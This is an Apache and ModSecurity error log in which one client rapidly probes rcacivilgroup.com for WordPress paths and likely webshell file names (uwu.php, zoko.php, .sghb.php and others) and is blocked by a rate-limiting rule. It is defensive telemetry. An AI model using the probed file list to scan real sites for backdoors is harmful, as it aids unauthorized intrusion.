[Thu May 07 06:21:40.979408 2026] [:error] [pid 29606:tid 29649] [client 172.202.74.222:30196] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/configuration.php"] [unique_id "afu-9BR5HjZ1PlSAiKttKQAAAEg"]
[Thu May 07 06:21:41.358945 2026] [:error] [pid 29606:tid 29662] [client 172.202.74.222:30092] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/configuration.php"] [unique_id "afu-9RR5HjZ1PlSAiKttLAAAAFU"]
[Thu May 07 06:21:41.767923 2026] [:error] [pid 29710:tid 29716] [client 172.202.74.222:30018] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "afu-9f0atTQld9Y2ht_t4AAAAMQ"]
[Thu May 07 06:21:42.168469 2026] [:error] [pid 29605:tid 29628] [client 172.202.74.222:30120] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "afu-9onxrTjETioEY0TqJQAAAA4"]
[Thu May 07 06:21:42.580856 2026] [:error] [pid 29607:tid 29674] [client 172.202.74.222:30022] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "afu-9qbP7TJOAh7WSUN01QAAAIY"]
[Thu May 07 06:21:43.060330 2026] [:error] [pid 29606:tid 29645] [client 172.202.74.222:30127] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "afu-9xR5HjZ1PlSAiKttMgAAAEQ"]
[Thu May 07 06:21:43.450014 2026] [:error] [pid 29607:tid 29678] [client 172.202.74.222:30095] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "afu-96bP7TJOAh7WSUN01wAAAIo"]
[Thu May 07 06:21:43.831475 2026] [:error] [pid 29606:tid 29643] [client 172.202.74.222:30137] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "afu-9xR5HjZ1PlSAiKttMwAAAEI"]
[Thu May 07 06:21:44.257796 2026] [:error] [pid 29710:tid 29732] [client 172.202.74.222:30031] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "afu--P0atTQld9Y2ht_t5wAAANQ"]
[Thu May 07 06:21:44.685142 2026] [:error] [pid 29710:tid 29718] [client 172.202.74.222:30088] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "afu--P0atTQld9Y2ht_t6QAAAMY"]
[Thu May 07 06:21:45.079679 2026] [:error] [pid 29710:tid 29726] [client 172.202.74.222:30124] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwa.php"] [unique_id "afu--f0atTQld9Y2ht_t7AAAAM4"]
[Thu May 07 06:21:45.535088 2026] [:error] [pid 29710:tid 29731] [client 172.202.74.222:30084] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwa.php"] [unique_id "afu--f0atTQld9Y2ht_t7wAAANM"]
[Thu May 07 06:21:45.954829 2026] [:error] [pid 29605:tid 29629] [client 172.202.74.222:30026] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwa.php"] [unique_id "afu--YnxrTjETioEY0TqNgAAAA8"]
[Thu May 07 06:21:46.398697 2026] [:error] [pid 29710:tid 29716] [client 172.202.74.222:30163] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwa.php"] [unique_id "afu--v0atTQld9Y2ht_t9QAAAMQ"]
[Thu May 07 06:21:46.832131 2026] [:error] [pid 29710:tid 29731] [client 172.202.74.222:30191] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/crgio.php"] [unique_id "afu--v0atTQld9Y2ht_t9wAAANM"]
[Thu May 07 06:21:47.358343 2026] [:error] [pid 29710:tid 29722] [client 172.202.74.222:30104] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/crgio.php"] [unique_id "afu--_0atTQld9Y2ht_t-AAAAMo"]
[Thu May 07 06:21:47.821784 2026] [:error] [pid 29710:tid 29713] [client 172.202.74.222:30065] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/crgio.php"] [unique_id "afu--_0atTQld9Y2ht_t-gAAAME"]
[Thu May 07 06:21:48.266284 2026] [:error] [pid 29710:tid 29733] [client 172.202.74.222:30202] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/crgio.php"] [unique_id "afu-_P0atTQld9Y2ht_t_AAAANU"]
[Thu May 07 06:21:48.702581 2026] [:error] [pid 29710:tid 29715] [client 172.202.74.222:30028] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geforce.php"] [unique_id "afu-_P0atTQld9Y2ht_t_wAAAMM"]
[Thu May 07 06:21:49.177834 2026] [:error] [pid 29710:tid 29727] [client 172.202.74.222:30168] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geforce.php"] [unique_id "afu-_f0atTQld9Y2ht_uBAAAAM8"]
[Thu May 07 06:21:49.643984 2026] [:error] [pid 4539:tid 4542] [client 172.202.74.222:30019] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geforce.php"] [unique_id "afu-_YPEZE1565sDGnw8SgAAAQE"]
[Thu May 07 06:21:50.118173 2026] [:error] [pid 4539:tid 4559] [client 172.202.74.222:30055] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geforce.php"] [unique_id "afu-_oPEZE1565sDGnw8TAAAARI"]
[Thu May 07 06:21:50.509933 2026] [:error] [pid 29710:tid 29714] [client 172.202.74.222:30097] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "afu-_v0atTQld9Y2ht_uCwAAAMI"]
[Thu May 07 06:21:50.974103 2026] [:error] [pid 4539:tid 4544] [client 172.202.74.222:30046] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "afu-_oPEZE1565sDGnw8TwAAAQM"]
[Thu May 07 06:21:51.385031 2026] [:error] [pid 29710:tid 29718] [client 172.202.74.222:30140] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "afu-__0atTQld9Y2ht_uDAAAAMY"]
[Thu May 07 06:21:51.865003 2026] [:error] [pid 4539:tid 4543] [client 172.202.74.222:30111] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "afu-_4PEZE1565sDGnw8UwAAAQI"]
[Thu May 07 06:21:52.305076 2026] [:error] [pid 4539:tid 4552] [client 172.202.74.222:29972] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/77.php"] [unique_id "afu_AIPEZE1565sDGnw8VQAAAQs"]
[Thu May 07 06:21:52.788022 2026] [:error] [pid 29710:tid 29731] [client 172.202.74.222:30114] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/77.php"] [unique_id "afu_AP0atTQld9Y2ht_uEQAAANM"]
[Thu May 07 06:21:53.213098 2026] [:error] [pid 29710:tid 29712] [client 172.202.74.222:30024] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/77.php"] [unique_id "afu_Af0atTQld9Y2ht_uFAAAAMA"]
[Thu May 07 06:21:53.640477 2026] [:error] [pid 29710:tid 29733] [client 172.202.74.222:30099] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/77.php"] [unique_id "afu_Af0atTQld9Y2ht_uFgAAANU"]
[Thu May 07 06:21:54.049015 2026] [:error] [pid 4539:tid 4555] [client 172.202.74.222:30142] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.sghb.php"] [unique_id "afu_AoPEZE1565sDGnw8YAAAAQ4"]
[Thu May 07 06:21:54.429845 2026] [:error] [pid 29710:tid 29717] [client 172.202.74.222:29963] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.sghb.php"] [unique_id "afu_Av0atTQld9Y2ht_uGgAAAMU"]
[Thu May 07 06:21:54.887814 2026] [:error] [pid 29605:tid 29615] [client 172.202.74.222:29953] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.sghb.php"] [unique_id "afu_AonxrTjETioEY0TqbQAAAAE"]
[Thu May 07 06:21:55.317320 2026] [:error] [pid 29710:tid 29734] [client 172.202.74.222:29980] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.sghb.php"] [unique_id "afu_A_0atTQld9Y2ht_uHgAAANY"]
[Thu May 07 06:21:55.718000 2026] [:error] [pid 29710:tid 29729] [client 172.202.74.222:30116] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoko.php"] [unique_id "afu_A_0atTQld9Y2ht_uIAAAANE"]
[Thu May 07 06:21:56.095287 2026] [:error] [pid 4539:tid 4565] [client 172.202.74.222:29999] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoko.php"] [unique_id "afu_BIPEZE1565sDGnw8ZwAAARg"]
[Thu May 07 06:21:56.488675 2026] [:error] [pid 29710:tid 29720] [client 172.202.74.222:30161] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoko.php"] [unique_id "afu_BP0atTQld9Y2ht_uIwAAAMg"]
[Thu May 07 06:21:56.922654 2026] [:error] [pid 4539:tid 4548] [client 172.202.74.222:30136] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoko.php"] [unique_id "afu_BIPEZE1565sDGnw8agAAAQc"]
[Thu May 07 06:21:57.370367 2026] [:error] [pid 29606:tid 29642] [client 172.202.74.222:30176] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/solo1.php"] [unique_id "afu_BRR5HjZ1PlSAiKttRQAAAEE"]
[Thu May 07 06:21:57.751926 2026] [:error] [pid 29710:tid 29727] [client 172.202.74.222:30050] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/solo1.php"] [unique_id "afu_Bf0atTQld9Y2ht_uKQAAAM8"]
[Thu May 07 06:21:58.203311 2026] [:error] [pid 29710:tid 29736] [client 172.202.74.222:30170] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/solo1.php"] [unique_id "afu_Bv0atTQld9Y2ht_uKwAAANg"]
[Thu May 07 06:21:58.624568 2026] [:error] [pid 29710:tid 29713] [client 172.202.74.222:30134] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/solo1.php"] [unique_id "afu_Bv0atTQld9Y2ht_uLQAAAME"]
[Thu May 07 06:21:59.024114 2026] [:error] [pid 29710:tid 29729] [client 172.202.74.222:29967] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/locales.php"] [unique_id "afu_B_0atTQld9Y2ht_uLgAAANE"]
[Thu May 07 06:21:59.512868 2026] [:error] [pid 29710:tid 29725] [client 172.202.74.222:30197] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/locales.php"] [unique_id "afu_B_0atTQld9Y2ht_uMAAAAM0"]
[Thu May 07 06:21:59.932489 2026] [:error] [pid 29605:tid 29615] [client 172.202.74.222:30033] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/locales.php"] [unique_id "afu_B4nxrTjETioEY0TqfwAAAAE"]
[Thu May 07 06:22:00.403334 2026] [:error] [pid 29710:tid 29717] [client 172.202.74.222:30115] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/locales.php"] [unique_id "afu_CP0atTQld9Y2ht_uMwAAAMU"]
[Thu May 07 06:22:00.868162 2026] [:error] [pid 29607:tid 29670] [client 172.202.74.222:30188] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "afu_CKbP7TJOAh7WSUN0_gAAAII"]
[Thu May 07 06:22:03.815729 2026] [autoindex:error] [pid 29710:tid 29717] [client 172.202.74.222:30106] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu May 07 06:22:05.945107 2026] [autoindex:error] [pid 29710:tid 29734] [client 172.202.74.222:30106] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/audio/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu May 07 06:22:16.022473 2026] [:error] [pid 29710:tid 29712] [client 172.202.74.222:30106] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afu_GP0atTQld9Y2ht_uigAAAMA"]
[Thu May 07 06:22:16.402879 2026] [:error] [pid 29710:tid 29718] [client 172.202.74.222:29906] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afu_GP0atTQld9Y2ht_ujAAAAMY"]
[Thu May 07 06:22:16.799420 2026] [:error] [pid 29710:tid 29715] [client 172.202.74.222:30051] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afu_GP0atTQld9Y2ht_ukAAAAMM"]
[Thu May 07 06:22:17.205159 2026] [:error] [pid 4539:tid 4561] [client 172.202.74.222:30064] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afu_GYPEZE1565sDGnw8kgAAARQ"]
[Thu May 07 06:22:17.587043 2026] [:error] [pid 29607:tid 29685] [client 172.202.74.222:29976] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-bda.php"] [unique_id "afu_GabP7TJOAh7WSUN1FgAAAJE"]
[Thu May 07 06:22:17.989861 2026] [:error] [pid 29710:tid 29730] [client 172.202.74.222:30043] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-bda.php"] [unique_id "afu_Gf0atTQld9Y2ht_ulwAAANI"]
[Thu May 07 06:22:18.385069 2026] [:error] [pid 29710:tid 29716] [client 172.202.74.222:30077] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-bda.php"] [unique_id "afu_Gv0atTQld9Y2ht_umgAAAMQ"]
[Thu May 07 06:22:18.759507 2026] [:error] [pid 29710:tid 29723] [client 172.202.74.222:30062] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-bda.php"] [unique_id "afu_Gv0atTQld9Y2ht_ungAAAMs"]
